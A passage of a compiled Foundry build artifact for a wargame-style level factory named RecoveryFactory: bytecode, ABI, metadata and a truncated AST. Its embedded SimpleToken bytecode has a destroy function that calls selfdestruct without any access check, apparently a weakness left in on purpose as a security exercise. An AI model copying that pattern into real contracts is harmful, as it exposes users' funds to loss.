60043610610029575f3560e01c80633894e5161461002d575b5f80fd5b61004061003b3660046100b6565b610042565b005b8133826040516100519061007c565b61005d93929190610165565b604051809103905ff080158015610076573d5f803e3d5ffd5b50505050565b610637806101d583390190565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f80604083850312156100c7575f80fd5b823567ffffffffffffffff808211156100de575f80fd5b818501915085601f8301126100f1575f80fd5b81358181111561010357610103610089565b604051601f8201601f19908116603f0116810190838211818310171561012b5761012b610089565b81604052828152886020848701011115610143575f80fd5b826020860160208301375f602093820184015298969091013596505050505050565b606081525f84518060608401525f5b818110156101915760208188018101516080868401015201610174565b505f608082850101526080601f19601f83011684010191505073ffffffffffffffffffffffffffffffffffffffff8416602083015282604083015294935050505056fe608060405234801561000f575f80fd5b5060405161063738038061063783398101604081905261002e91610088565b5f61003984826101e7565b506001600160a01b039091165f90815260016020526040902055506102a6565b634e487b7160e01b5f52604160045260245ffd5b80516001600160a01b0381168114610083575f80fd5b919050565b5f805f6060848603121561009a575f80fd5b83516001600160401b03808211156100b0575f80fd5b818601915086601f8301126100c3575f80fd5b8151818111156100d5576100d5610059565b604051601f8201601f19908116603f011681019083821181831017156100fd576100fd610059565b81604052828152602093508984848701011115610118575f80fd5b5f91505b82821015610139578482018401518183018501529083019061011c565b5f84848301015280975050505061015181870161006d565b93505050604084015190509250925092565b600181811c9082168061017757607f821691505b60208210810361019557634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156101e257805f5260205f20601f840160051c810160208510156101c05750805b601f840160051c820191505b818110156101df575f81556001016101cc565b50505b505050565b81516001600160401b0381111561020057610200610059565b6102148161020e8454610163565b8461019b565b602080601f831160018114610247575f84156102305750858301515b5f19600386901b1c1916600185901b17855561029e565b5f85815260208120601f198616915b8281101561027557888601518255948401946001909101908401610256565b508582101561029257878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b610384806102b35f395ff3fe608060405260043610610040575f3560e01c8062f55d9d1461006757806306fdde031461008857806327e235e3146100b2578063a9059cbb146100eb575f80fd5b366100635761005034600a61022a565b335f908152600160205260409020819055005b5f80fd5b348015610072575f80fd5b5061008661008136600461026b565b61010a565b005b348015610093575f80fd5b5061009c610123565b6040516100a9919061028d565b60405180910390f35b3480156100bd575f80fd5b506100dd6100cc36600461026b565b60016020525f908152604090205481565b6040519081526020016100a9565b3480156100f6575f80fd5b506100866101053660046102d9565b6101ae565b8073ffffffffffffffffffffffffffffffffffffffff16ff5b5f805461012f90610303565b80601f016020809104026020016040519081016040528092919081815260200182805461015b90610303565b80156101a65780601f1061017d576101008083540402835291602001916101a6565b820191905f5260205f20905b81548152906001019060200180831161018957829003601f168201915b505050505081565b335f908152600160205260409020548111156101c8575f80fd5b335f908152600160205260409020546101e290829061033b565b335f908152600160205260408082209290925573ffffffffffffffffffffffffffffffffffffffff93909316835290912055565b634e487b7160e01b5f52601160045260245ffd5b808202811582820484141761024157610241610216565b92915050565b73ffffffffffffffffffffffffffffffffffffffff81168114610268575f80fd5b50565b5f6020828403121561027b575f80fd5b813561028681610247565b9392505050565b5f602080835283518060208501525f5b818110156102b95785810183015185820160400152820161029d565b505f604082860101526040601f19601f8301168501019250505092915050565b5f80604083850312156102ea575f80fd5b82356102f581610247565b946020939093013593505050565b600181811c9082168061031757607f821691505b60208210810361033557634e487b7160e01b5f52602260045260245ffd5b50919050565b818103818111156102415761024161021656fea2646970667358221220e0bf938b4119a269e2f8df98188146ebd3abe7e9481be62f329c5c511f9c757d64736f6c63430008180033a264697066735822122047a2933d7f1f0a4703ae01a34a9f549f16b14b7790054fb759e7eb24c6473b6b64736f6c63430008180033a2646970667358221220529712e22382a69add02b955e907c7303f363c3bf3d853085240c3f505fd6d4e64736f6c63430008180033","sourceMap":"111:1012:104:-:0;;;;;;;;;;;;-1:-1:-1;936:32:23;719:10:34;936:18:23;:32::i;:::-;111:1012:104;;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;-1:-1:-1;;;;;;2541:17:23;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;111:1012:104:-;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b14610108575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b50610070610127565b005b610085610080366004610508565b61013a565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100f86100d836600461052a565b506001600160a01b039081165f9081526001602052604090205416311590565b6040519015158152602001610099565b348015610113575f80fd5b50610070610122366004610508565b6103a2565b61012f610432565b6101385f61048b565b565b5f66038d7ea4c680003410156101975760405162461bcd60e51b815260206004820152601c60248201527f4d7573742073656e64206174206c6561737420302e303031204554480000000060448201526064015b60405180910390fd5b5f6040516101a4906104e7565b604051809103905ff0801580156101bd573d5f803e3d5ffd5b50604080517f3894e5160000000000000000000000000000000000000000000000000000000081526004810191909152600c60448201527f496e697469616c546f6b656e00000000000000000000000000000000000000006064820152620186a060248201529091506001600160a01b03821690633894e516906084015f604051808303815f87803b158015610251575f80fd5b505af1158015610263573d5f803e3d5ffd5b50506040517fd60000000000000000000000000000000000000000000000000000000000000060208201527f940000000000000000000000000000000000000000000000000000000000000060218201526bffffffffffffffffffffffff19606085901b1660228201527f0100000000000000000000000000000000000000000000000000000000000000603682015260370191506102ff9050565b60408051808303601f1901815282825280516020918201206001600160a01b038581165f9081526001909352928220805473ffffffffffffffffffffffffffffffffffffffff19169390911692831790559134908381818185875af1925050503d805f8114610389576040519150601f19603f3d011682016040523d82523d5f602084013e61038e565b606091505b505090508061039b575f80fd5b5092915050565b6103aa610432565b6001600160a01b0381166104265760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f6464726573730000000000000000000000000000000000000000000000000000606482015260840161018e565b61042f8161048b565b50565b5f546001600160a01b031633146101385760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161018e565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b61085e8061056283390190565b6001600160a01b038116811461042f575f80fd5b5f60208284031215610518575f80fd5b8135610523816104f4565b9392505050565b5f806040838503121561053b575f80fd5b8235610546816104f4565b91506020830135610556816104f4565b80915050925092905056fe608060405234801561000f575f80fd5b506108418061001d5f395ff3fe608060405234801561000f575f80fd5b5060043610610029575f3560e01c80633894e5161461002d575b5f80fd5b61004061003b3660046100b6565b610042565b005b8133826040516100519061007c565b61005d93929190610165565b604051809103905ff080158015610076573d5f803e3d5ffd5b50505050565b610637806101d583390190565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f80604083850312156100c7575f80fd5b823567ffffffffffffffff808211156100de575f80fd5b818501915085601f8301126100f1575f80fd5b81358181111561010357610103610089565b604051601f8201601f19908116603f0116810190838211818310171561012b5761012b610089565b81604052828152886020848701011115610143575f80fd5b826020860160208301375f602093820184015298969091013596505050505050565b606081525f84518060608401525f5b818110156101915760208188018101516080868401015201610174565b505f608082850101526080601f19601f83011684010191505073ffffffffffffffffffffffffffffffffffffffff8416602083015282604083015294935050505056fe608060405234801561000f575f80fd5b5060405161063738038061063783398101604081905261002e91610088565b5f61003984826101e7565b506001600160a01b039091165f90815260016020526040902055506102a6565b634e487b7160e01b5f52604160045260245ffd5b80516001600160a01b0381168114610083575f80fd5b919050565b5f805f6060848603121561009a575f80fd5b83516001600160401b03808211156100b0575f80fd5b818601915086601f8301126100c3575f80fd5b8151818111156100d5576100d5610059565b604051601f8201601f19908116603f011681019083821181831017156100fd576100fd610059565b81604052828152602093508984848701011115610118575f80fd5b5f91505b82821015610139578482018401518183018501529083019061011c565b5f84848301015280975050505061015181870161006d565b93505050604084015190509250925092565b600181811c9082168061017757607f821691505b60208210810361019557634e487b7160e01b5f52602260045260245ffd5b50919050565b601f8211156101e257805f5260205f20601f840160051c810160208510156101c05750805b601f840160051c820191505b818110156101df575f81556001016101cc565b50505b505050565b81516001600160401b0381111561020057610200610059565b6102148161020e8454610163565b8461019b565b602080601f831160018114610247575f84156102305750858301515b5f19600386901b1c1916600185901b17855561029e565b5f85815260208120601f198616915b8281101561027557888601518255948401946001909101908401610256565b508582101561029257878501515f19600388901b60f8161c191681555b505060018460011b0185555b505050505050565b610384806102b35f395ff3fe608060405260043610610040575f3560e01c8062f55d9d1461006757806306fdde031461008857806327e235e3146100b2578063a9059cbb146100eb575f80fd5b366100635761005034600a61022a565b335f908152600160205260409020819055005b5f80fd5b348015610072575f80fd5b5061008661008136600461026b565b61010a565b005b348015610093575f80fd5b5061009c610123565b6040516100a9919061028d565b60405180910390f35b3480156100bd575f80fd5b506100dd6100cc36600461026b565b60016020525f908152604090205481565b6040519081526020016100a9565b3480156100f6575f80fd5b506100866101053660046102d9565b6101ae565b8073ffffffffffffffffffffffffffffffffffffffff16ff5b5f805461012f90610303565b80601f016020809104026020016040519081016040528092919081815260200182805461015b90610303565b80156101a65780601f1061017d576101008083540402835291602001916101a6565b820191905f5260205f20905b81548152906001019060200180831161018957829003601f168201915b505050505081565b335f908152600160205260409020548111156101c8575f80fd5b335f908152600160205260409020546101e290829061033b565b335f908152600160205260408082209290925573ffffffffffffffffffffffffffffffffffffffff93909316835290912055565b634e487b7160e01b5f52601160045260245ffd5b808202811582820484141761024157610241610216565b92915050565b73ffffffffffffffffffffffffffffffffffffffff81168114610268575f80fd5b50565b5f6020828403121561027b575f80fd5b813561028681610247565b9392505050565b5f602080835283518060208501525f5b818110156102b95785810183015185820160400152820161029d565b505f604082860101526040601f19601f8301168501019250505092915050565b5f80604083850312156102ea575f80fd5b82356102f581610247565b946020939093013593505050565b600181811c9082168061031757607f821691505b60208210810361033557634e487b7160e01b5f52602260045260245ffd5b50919050565b818103818111156102415761024161021656fea2646970667358221220e0bf938b4119a269e2f8df98188146ebd3abe7e9481be62f329c5c511f9c757d64736f6c63430008180033a264697066735822122047a2933d7f1f0a4703ae01a34a9f549f16b14b7790054fb759e7eb24c6473b6b64736f6c63430008180033a2646970667358221220529712e22382a69add02b955e907c7303f363c3bf3d853085240c3f505fd6d4e64736f6c63430008180033","sourceMap":"111:1012:104:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1831:101:23;;;;;;;;;;;;;:::i;:::-;;197:752:104;;;;;;:::i;:::-;;:::i;:::-;;;-1:-1:-1;;;;;589:55:155;;;571:74;;559:2;544:18;197:752:104;;;;;;;;1201:85:23;;;;;;;;;;-1:-1:-1;1247:7:23;1273:6;-1:-1:-1;;;;;1273:6:23;1201:85;;955:166:104;;;;;;;;;;-1:-1:-1;955:166:104;;;;;:::i;:::-;-1:-1:-1;;;;;;1078:22:104;;;1047:4;1078:22;;;:11;:22;;;;;;;1070:39;:44;;955:166;;;;1222:14:155;;1215:22;1197:41;;1185:2;1170:18;955:166:104;1057:187:155;2081:198:23;;;;;;;;;;-1:-1:-1;2081:198:23;;;;;:::i;:::-;;:::i;1831:101::-;1094:13;:11;:13::i;:::-;1895:30:::1;1922:1;1895:18;:30::i;:::-;1831:101::o:0;197:752:104:-;271:7;311:11;298:9;:24;;290:65;;;;-1:-1:-1;;;290:65:104;;1451:2:155;290:65:104;;;1433:21:155;1490:2;1470:18;;;1463:30;1529;1509:18;;;1502:58;1577:18;;290:65:104;;;;;;;;;366:25;420:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;477:63:104;;;;;;;;;1818:21:155;;;;1875:2;1855:18;;;1848:30;1914:14;1894:18;;;1887:42;532:6:104;1981:20:155;;;1974:36;401:33:104;;-1:-1:-1;;;;;;477:30:104;;;;;1946:19:155;;477:63:104;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;666:73:104;;2341:16:155;666:73:104;;;2325:38:155;2396:16;2379:11;;;2372:46;-1:-1:-1;;2455:2:155;2451:15;;;2447:53;2434:11;;;2427:74;2535:16;2517:12;;;2510:47;2573:12;;;-1:-1:-1;666:73:104;;-1:-1:-1;2021:570:155;666:73:104;;;;;;;-1:-1:-1;;666:73:104;;;;;;656:84;;666:73;656:84;;;;-1:-1:-1;;;;;578:38:104;;;648:93;578:38;;;:11;:38;;;;;;:174;;-1:-1:-1;;578:174:104;;;;;;;;;;648:93;860:9;;648:93;666:73;648:93;666:73;860:9;578:174;809:65;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;792:82;;;892:6;884:15;;;;;;-1:-1:-1;925:16:104;197:752;-1:-1:-1;;197:752:104:o;2081:198:23:-;1094:13;:11;:13::i;:::-;-1:-1:-1;;;;;2169:22:23;::::1;2161:73;;;::::0;-1:-1:-1;;;2161:73:23;;3008:2:155;2161:73:23::1;::::0;::::1;2990:21:155::0;3047:2;3027:18;;;3020:30;3086:34;3066:18;;;3059:62;3157:8;3137:18;;;3130:36;3183:19;;2161:73:23::1;2806:402:155::0;2161:73:23::1;2244:28;2263:8;2244:18;:28::i;:::-;2081:198:::0;:::o;1359:130::-;1247:7;1273:6;-1:-1:-1;;;;;1273:6:23;719:10:34;1422:23:23;1414:68;;;;-1:-1:-1;;;1414:68:23;;3415:2:155;1414:68:23;;;3397:21:155;;;3434:18;;;3427:30;3493:34;3473:18;;;3466:62;3545:18;;1414:68:23;3213:356:155;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;-1:-1:-1;;2541:17:23;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;-1:-1:-1:-;;;;;;;;:::o;14:154:155:-;-1:-1:-1;;;;;93:5:155;89:54;82:5;79:65;69:93;;158:1;155;148:12;173:247;232:6;285:2;273:9;264:7;260:23;256:32;253:52;;;301:1;298;291:12;253:52;340:9;327:23;359:31;384:5;359:31;:::i;:::-;409:5;173:247;-1:-1:-1;;;173:247:155:o;656:396::-;732:6;740;793:2;781:9;772:7;768:23;764:32;761:52;;;809:1;806;799:12;761:52;848:9;835:23;867:31;892:5;867:31;:::i;:::-;917:5;-1:-1:-1;974:2:155;959:18;;946:32;987:33;946:32;987:33;:::i;:::-;1039:7;1029:17;;;656:396;;;;;:::o","linkReferences":{}},"methodIdentifiers":{"createInstance(address)":"7726f776","owner()":"8da5cb5b","renounceOwnership()":"715018a6","transferOwnership(address)":"f2fde38b","validateInstance(address,address)":"d38def5b"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"previousOwner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"OwnershipTransferred\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"_player\",\"type\":\"address\"}],\"name\":\"createInstance\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"payable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"owner\",\"outputs\":[{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"renounceOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"newOwner\",\"type\":\"address\"}],\"name\":\"transferOwnership\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address payable\",\"name\":\"_instance\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"\",\"type\":\"address\"}],\"name\":\"validateInstance\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{\"owner()\":{\"details\":\"Returns the address of the current owner.\"},\"renounceOwnership()\":{\"details\":\"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner.\"},\"transferOwnership(address)\":{\"details\":\"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/RecoveryFactory.sol\":\"RecoveryFactory\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"src/levels/Recovery.sol\":{\"keccak256\":\"0x3c66a08eadebb91b03f62f67db4728f821eba9fc46bbcc4206dda6af75d4ecee\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://db1efcadfb9427c8800766b9f668f5df87963fcf60316937774eceaa4f2cd6ce\",\"dweb:/ipfs/QmdARiDCKNG5dThGnPQEXryESS4jPGFCXJvbAgyZcJr2DQ\"]},\"src/levels/RecoveryFactory.sol\":{\"keccak256\":\"0x2811cd78c749d47dc364dbbf0324d987a4ea8ea5eabc47564f52b07587427b83\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://2fa17b4293552ad3e1b1596e0face580d6cdd93e037fc57421f34b2ed0c7d4e0\",\"dweb:/ipfs/QmQs7Ty1p4HU7Zpo3bRy5vPWKT6QLohgeeapT7wwNpX1Q9\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"address","name":"previousOwner","type":"address","indexed":true},{"internalType":"address","name":"newOwner","type":"address","indexed":true}],"type":"event","name":"OwnershipTransferred","anonymous":false},{"inputs":[{"internalType":"address","name":"_player","type":"address"}],"stateMutability":"payable","type":"function","name":"createInstance","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"renounceOwnership"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"transferOwnership"},{"inputs":[{"internalType":"address payable","name":"_instance","type":"address"},{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function","name":"validateInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]}],"devdoc":{"kind":"dev","methods":{"owner()":{"details":"Returns the address of the current owner."},"renounceOwnership()":{"details":"Leaves the contract without owner. It will not be possible to call `onlyOwner` functions anymore. Can only be called by the current owner. NOTE: Renouncing ownership will leave the contract without an owner, thereby removing any functionality that is only available to the owner."},"transferOwnership(address)":{"details":"Transfers ownership of the contract to a new account (`newOwner`). Can only be called by the current owner."}},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/RecoveryFactory.sol":"RecoveryFactory"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"src/levels/Recovery.sol":{"keccak256":"0x3c66a08eadebb91b03f62f67db4728f821eba9fc46bbcc4206dda6af75d4ecee","urls":["bzz-raw://db1efcadfb9427c8800766b9f668f5df87963fcf60316937774eceaa4f2cd6ce","dweb:/ipfs/QmdARiDCKNG5dThGnPQEXryESS4jPGFCXJvbAgyZcJr2DQ"],"license":"MIT"},"src/levels/RecoveryFactory.sol":{"keccak256":"0x2811cd78c749d47dc364dbbf0324d987a4ea8ea5eabc47564f52b07587427b83","urls":["bzz-raw://2fa17b4293552ad3e1b1596e0face580d6cdd93e037fc57421f34b2ed0c7d4e0","dweb:/ipfs/QmQs7Ty1p4HU7Zpo3bRy5vPWKT6QLohgeeapT7wwNpX1Q9"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/RecoveryFactory.sol","id":54948,"exportedSymbols":{"Context":[48281],"Level":[55508],"Ownable":[46700],"Recovery":[54732],"RecoveryFactory":[54947],"SimpleToken":[54818]},"nodeType":"SourceUnit","src":"33:1091:104","nodes":[{"id":54820,"nodeType":"PragmaDirective","src":"33:23:104","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":54821,"nodeType":"ImportDirective","src":"58:26:104","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"./base/Level.sol","nameLocation":"-1:-1:-1","scope":54948,"sourceUnit":55509,"symbolAliases":[],"unitAlias":""},{"id":54822,"nodeType":"ImportDirective","src":"85:24:104","nodes":[],"absolutePath":"src/levels/Recovery.sol","file":"./Recovery.sol","nameLocation":"-1:-1:-1","scope":54948,"sourceUnit":54819,"symbolAliases":[],"unitAlias":""},{"id":54947,"nodeType":"ContractDefinition","src":"111:1012:104","nodes":[{"id":54828,"nodeType":"VariableDeclaration","src":"151:39:104","nodes":[],"constant":false,"mutability":"mutable","name":"lostAddress","nameLocation":"179:11:104","scope":54947,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_address_$","typeString":"mapping(address => address)"},"typeName":{"id":54827,"keyName":"","keyNameLocation":"-1:-1:-1","keyType":{"id":54825,"name":"address","nodeType":"ElementaryTypeName","src":"159:7:104","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Mapping","src":"151:27:104","typeDescriptions":{"typeIdentifier":"t_mapping$_t_address_$_t_address_$","typeString":"mapping(address => address)"},"valueName":"","valueNameLocation":"-1:-1:-1","valueType":{"id":54826,"name":"address","nodeType":"ElementaryTypeName","src":"170:7:104","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}},"visibility":"internal"},{"id":54925,"nodeType":"FunctionDefinition","src":"197:752:104","nodes":[],"body":{"id":54924,"nodeType":"Block","src":"280:669:104","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":54840,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":54837,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"298:3:104","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":54838,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"302:5:104","memberName":"value","nodeType":"MemberAccess","src":"298:9:104","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">=","rightExpression":{"hexValue":"302e303031","id":54839,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"311:11:104","subdenomination":"ether","typeDescriptions":{"typeIdentifier":"t_rational_1000000000000000_by_1","typeString":"int_const 1000000000000000"},"value":"0.001"},"src":"298:24:104","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"4d7573742073656e64206174206c6561737420302e30303120455448","id":54841,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"324:30:104","typeDescriptions":{"typeIdentifier":"t_stringliteral_be784f12ee6ca510c7240b97af44a324365aa817fdada1a3227a915bc1d82395","typeString":"literal_string \"Must send at least 0.001 ETH\""},"value":"Must send at least 0.001 ETH"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_be784f12ee6ca510c7240b97af44a324365aa817fdada1a3227a915bc1d82395","typeString":"literal_string \"Must send at least 0.001 ETH\""}],"id":54836,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"290:7:104","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":54842,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"290:65:104","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":54843,"nodeType":"ExpressionStatement","src":"290:65:104"},{"assignments":[54846],"declarations":[{"constant":false,"id":54846,"mutability":"mutable","name":"recoveryInstance","nameLocation":"375:16:104","nodeType":"VariableDeclaration","scope":54924,"src":"366:25:104","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Recovery_$54732","typeString":"contract Recovery"},"typeName":{"id":54845,"nodeType":"UserDefinedTypeName","pathNode":{"id":54844,"name":"Recovery","nameLocations":["366:8:104"],"nodeType":"IdentifierPath","referencedDeclaration":54732,"src":"366:8:104"},"referencedDeclaration":54732,"src":"366:8:104","typeDescriptions":{"typeIdentifier":"t_contract$_Recovery_$54732","typeString":"contract Recovery"}},"visibility":"internal"}],"id":54847,"nodeType":"VariableDeclarationStatement","src":"366:25:104"},{"expression":{"id":54853,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":54848,"name":"recoveryInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54846,"src":"401:16:104","typeDescriptions":{"typeIdentifier":"t_contract$_Recovery_$54732","typeString":"contract 